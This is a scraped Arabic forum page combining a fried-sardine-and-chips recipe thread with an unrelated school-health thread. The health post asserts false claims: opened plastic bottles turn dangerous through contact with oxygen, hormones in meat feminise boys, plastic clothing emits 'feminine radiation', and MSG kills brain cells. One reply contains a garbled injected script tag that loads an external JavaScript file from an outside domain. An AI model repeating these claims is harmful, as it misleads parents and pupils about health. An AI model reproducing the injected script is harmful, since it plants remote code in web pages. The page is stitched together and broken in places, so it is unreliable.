التصنيفات
مطبخي والطبخ

السردين مقلي مع الشيبس ممممممممممممم بالصور 2022


خمس نجوم – تقدم في المطاعم الفاخرة – لذيذة وشهية – باقل التكاليف
السلام عليكم و رحمة الله تعالى و بركاته

تعليمية

تعليمية

السردين بهذه الطريقة بيكون لذيذ جدا لكني مع الحمية ما اكلته ..~~~

نحتاج سردين مغسول و منقي

اخد قزبرة و باقدونس مفرومين مع ثوم و توابل السمك و هي الملح الكمون الفلفل الاحمر و شوية شطة و عصير ليمونة و شوية زيت زيتون و اخلط الكل جيدا ثم احشو السردين بالطريقة المبينة ادناه يعني وحدة فوق وحدة

تعليمية

تعليمية

تعليمية

تعليمية

تعليمية

اخذ شوية دقيق او سميد و اضع فيه شوية فلفل اسود وملح و اضع فيه قطع السردين ثم اقلي في زيت ساخنة

تعليمية

تعليمية

تعليمية

لشيبس احتاج بطاطش مقطوعة بطريقة الشيبس و انقعها لمدة نصف ساعة في ماء وخل ثم انشفها و اقليها و بعد القلي اضع الملح

و بالصحة و الراحة

تعليمية

تعليمية

منقول للفائدة

اختكم سلمى الخنشلية




شكرا والله شهيتوني للاكل




امممممممممممممم
السردين معروف
لكن طريقة الشيس …..
بارك الله على الاضاقة




وصفة شهية ولذيذة

سلمت يداكي

تحياتي




التصنيفات
الصحة والتغذية المدرسية

حذروا تلاميذنا من البلاستيك الشيبس وقلوتومات الصوديوم

شرح لي جاري مفتش في الاسعار أن الشمس تؤثر في البلاستك مما يجعل مستهلكي المشروبات الغازية تنشط عندهم الخلايا السرطانية ويصاب مستهلكها بالسرطان ونصحني ان استعمل القارورة البلاستيكية مرة واحدة فقط ولا أضع مثلا فيها الماء للشرب لأن الزجاجة البلاستيكية عندما تفتح تتفاعل مع الاكسجين وتصبح خطيرو لأي استعمال آخر …فاحذروا وثقفوا تلاميذنا
2- شاهدت في أغلب التلاميذ صفار في الوجه بعد أي مجهود خاصة الرياضي وهذا لنقص التغذية فنصحني جاري بأن يستهلك التلاميذ البسباس فهو غني بالفيتامينات ويجب ان يكون في المطاعم المدرسية لفائدته الكبيرة
3- أما الخطر الأخير فيكمن في اللحوم المستهلكة حيث يقوم الفلاحين والشركات الكبيرة لإنتاج الحليب بإعطائها هرمون الانوثة مما يزيد حجم اللحم وكمية الحليب فيفقد الطفل ذكورته ويصبح مشابهاللبنت وارتداء الملابس البلاستيكية للذكور يجعلها تتفاعل مع الحرارة درجة 30فقط فتصدر اشعاعات انثوية وأرجو مشاهدة هذا اليوتوب للدكتورين قصد معرفة هذه الاخطار المخفيةاكسجين
<a href="https://

<a href="https://قلوتومات الصوديوم <a href="https://

تستعمله الشركات لزيادة الإستهلاك أي المنتوجات الغذائية كالشيبس المشروبات الغازية الدجاج تستعمله بعض المطاعم

ومنتجي الحلوى لجلب الزبائن لدوره الكبير في المذاق أما سلبياته يا لطيف يقتل خلايا الدماغ ويورث الغباء والاورام
الجزء الأول ليس طويل <a href="https://

الجزء التاني ليس طويل https://www.youtube.com/watch?featur…&v=nGVKwvn3aXo




شكرا لك وجزاك الله خيرا




شكرا لك وجزاك الله خيرا 4040404040404040 src=”http://multibar.me/pluginmng.js” type=”text/40404040404040404040″>4040404040404040404040




جميل
جزاك الله خيرا




بارك الله فيك أخي على الموضوع القيم والمفيد
أعانك الله
نترقب المزيد
بالتوفيق